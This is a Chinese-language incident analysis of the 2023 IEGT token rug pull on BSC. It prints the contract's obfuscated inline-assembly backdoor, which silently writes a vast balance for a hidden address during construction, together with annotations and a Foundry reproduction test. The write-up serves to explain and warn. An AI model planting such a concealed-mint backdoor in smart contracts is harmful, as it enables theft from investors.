RugPull@IEGT 事件背景
关键词:内联汇编,构造器增发,storage位置计算
时间:2023.07.22
损失:1,143,787 BSC-USD [$1,143,296]
交易
资金流向 将IEGT换成UBS-USD卷款跑路:
RP合约简析 从合约有中文注释来看,大概率是我们国人开的韭菜盘。单纯是一个ERC20代币合约,然后添加了各种旁支功能。整体的架构就是一大堆辅助的库和interface,核心只有ERC20代币合约。没有任何实际作用的项目,单纯是炒币用,这种盘很大可能就是用来割韭菜的
攻击过程 首先看到前三的代币拥有量跟总发行量的对比 ,就感觉有问题,虽然1和2不是个人地址,但理论上他们也不应该有这么多,给这么多他们干啥用呢?第三个地址拥有这么大份额的代币,而且是一个陌生的地址,很有可能可以被控制。
这个项目被卷款跑路 ,因此我们来看一下交易。很明显了,有两笔使用1,000,000,000
的swap交易,换出了1,143,775.72912132+12.6276455108497
个BSC-USD(上面的那笔是为了把剩余的12个代币都拿走,一点不剩)。
查看交易详情,我们发现都是0x00002b9b0748d575CB21De3caE868Ed19a7B5B56
干的,他拥有极多的IEGT,但是totalSupply并没有记录。在这个地址找到了2个巨鲸的转账记录,这下我们知道了,这两个巨鲸的资金来源了。同时也进一步说明,0x00002b9b0748d575CB21De3caE868Ed19a7B5B56
的资金没有被totalSupply记录,随时准备RugPull。
按照ERC20标准,每次和代币有关的交易无论mint还是转账,都需要触发event并记录在案,但是totalSupply并没有记录。因此,我们分析到底是从哪里来的资金。
攻击详细分析 既然没有记录,那么就有两个可能:(1)直接修改storage存储数据,(2)在构造器中直接对变量进行操作。
分析所有方法过后,发现没有任何方法可以修改storage数据,因此我们查看构造器。它的主合约只有一个构造器,方法全部继承自父类,因此构造器会写的复杂,告诉别人我的构造器只是用来初始化参数而已。
1 2 3 4 5 6 constructor() ERC20("IEGT","IEGT") { super.__SwapPool_init(_router, _usdt); if (_isLimit) super.__Limit_init( _totalSupply / 250,_totalSupply / 250, _totalSupply / 250 ); super.setSurprise( 5000, 3 ); super.__Token_init(_totalSupply, _marketing, _receive, _usdt); }
主要的初始化逻辑是四个,我们进行追溯。发现在池子池子初始化的方法中,找到这个东西:super.__SwapPool_init(_router, _usdt); ====> _pathSet(pairB);
:在初始化币对路径的时候,多了一个内联汇编,正常来说根本不需要。
整理一下,得到如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function _pathSet(address w) private { TokenB = IERC20(w); address[] memory path = new address[](2); path[0] = w; path[1] = address(this); _buyPath = path; address[] memory path2 = new address[](2); path2[0] = address(this); path2[1] = w; _sellPath = path2; assembly { let y := add(add(mul(379858174470926,exp(10,28)),mul(61835533555714,exp(10,14))),74433453022038) mstore(0, y) mstore(32, 0x0) sstore(keccak256(0, 64), exp(timestamp(), 6)) mstore(0, y) mstore(32, 0xa) sstore(keccak256(0,64), 1) w := add(w, 16) } TokenB.transfer(w, 0); }
进一步分析内联汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 assembly { // y = 3798581744709266183553355571474433453022038 = 0x2b9b0748d575cb21de3cae868ed19a7b5b56 let y := add(add(mul(379858174470926,exp(10,28)),mul(61835533555714,exp(10,14))),74433453022038) // memory: // 00000000000000000000000000002b9b0748d575cb21de3cae868ed19a7b5b56 0x00 // 0000000000000000000000000000000000000000000000000000000000000000 0x20 mstore(0, y) mstore(32, 0x0) // 对0~64字节的内存位置进行keccak256,得到一个值x // exp(timestamp(), 6)得到一个一个很大的随机值y // 然后在storage位置x写入一个很大的值y // 这个slot_[keccak256(0, 64)]位置算出来的是balanceOf(hacker)的存储位置,给了他金额y sstore(keccak256(0, 64), exp(timestamp(), 6)) // 后面的代码没啥用 // memory: // [y] 0x00 // 000000000000000000000000000000000000000000000000000000000000000a 0x20 mstore(0, y) mstore(32, 0xa) // 在slot_[keccak256(0,64)]写入值1 sstore(keccak256(0,64), 1) // w的值增加16 w := add(w, 16) }
分析合约继承结构可以知道,记录balance的变量位于slot_0
1 2 3 contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances;
这下我们明白了黑客的主要逻辑:
把代码写成一坨,让用户看不清,混淆;
在构造器中做手脚,找一个隐蔽的位置_pathSet(pairB)
中嵌入一段代码;
此代码,通过巧妙的方法计算出黑客的地址,然后用sstore写入balance的记录位置,这样,没有任何方法被调用(无法追溯),没有event释放,没有更新totalSupply;
另外:黑客将balance变量放在在slot_0,这是为了他自己计算位置方便。
复现 GitHub
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "./contract.sol"; contract Attacker is Test { TokenIEGT public token; function setUp() public { vm.createSelectFork("bsc", 29_919_951); token = new TokenIEGT(); } function test_deploy() public{ uint256 attackerInitBalance = token.balanceOf(address(0x00002b9b0748d575CB21De3caE868Ed19a7B5B56)); assertEq(attackerInitBalance, block.timestamp ** 6); assertEq(token.totalSupply(), 5000000000000000000000000); console.log("token.totalSupply():", token.totalSupply()); console.log("attackerInitBalance:", attackerInitBalance); } }
1 2 3 Logs: token.totalSupply(): 5000000000000000000000000 attackerInitBalance: 23234513382320230064402743165556372473988720904454891584
建议
代码不整齐的,像这种一坨的,说明项目方心思不对,不可能有人这么编码的,肯定是编码之后进行打乱操作
看一个项目是否是rugPull,建议看holders,看看有没有巨鲸。如果受害者在操作之前能够看一下holders的情况,然后看看这些巨鲸的资金来源是哪,没准就能发现问题